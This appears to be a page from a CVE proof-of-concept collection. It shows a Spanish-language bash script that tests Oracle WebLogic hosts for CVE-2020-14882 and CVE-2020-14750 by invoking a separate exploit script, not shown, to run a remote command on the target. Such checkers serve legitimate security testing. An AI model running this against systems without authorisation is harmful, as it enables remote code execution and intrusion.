4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / test-CVE-2020-14750.sh SH
#!/bin/bash

###################################################
# CVE-2020-14882                                  #
# CVE-2020-14750                                  #
# Autor: Pedro Prieto Sanchez                     #
# twitter: @PPrietoSanchez                        #
# PoC de la vulnerabilidad de Oracle Weblogic con #
# los codigos CVE anteriormente escritos          #
###################################################

if [ "$1" == "-h" ] || [ -z "$1" ]; then
  echo "Modo de empleo: `basename $0` host:puerto comandoremoto
Verifica las vulnerabilidades CVE-2020-14882 y CVE-2020-14750 en el host especificado
NOTA: En esta versión, si no ha conseguido ejecutar la vulnerabilidad no significa necesariamente que no sea vulnerable, en futuras versiones se implementará completamente este método"
  exit 0
fi


host=$1

resultado=$(./CVE-2020-14750.sh $1 echo hola)

if [ "$resultado" == "hola" ]; then
	echo "Vulnerabilidad explotada correctamente. $host es VULNERABLE"
elif [[ "$resultado" =~ "The server encountered an unexpected condition which prevented it from fulfilling the request" ]]; then
	echo "No se ha conseguido explotar la vulnerabilidad, por el tipo de respuesta obtenida de $host es posible que no sea vulnerable o que algo haya fallado"
else
	echo "No se ha podido comprobar la vulnerabilidad, comprueba que $host es correcto y que es accesible"
fi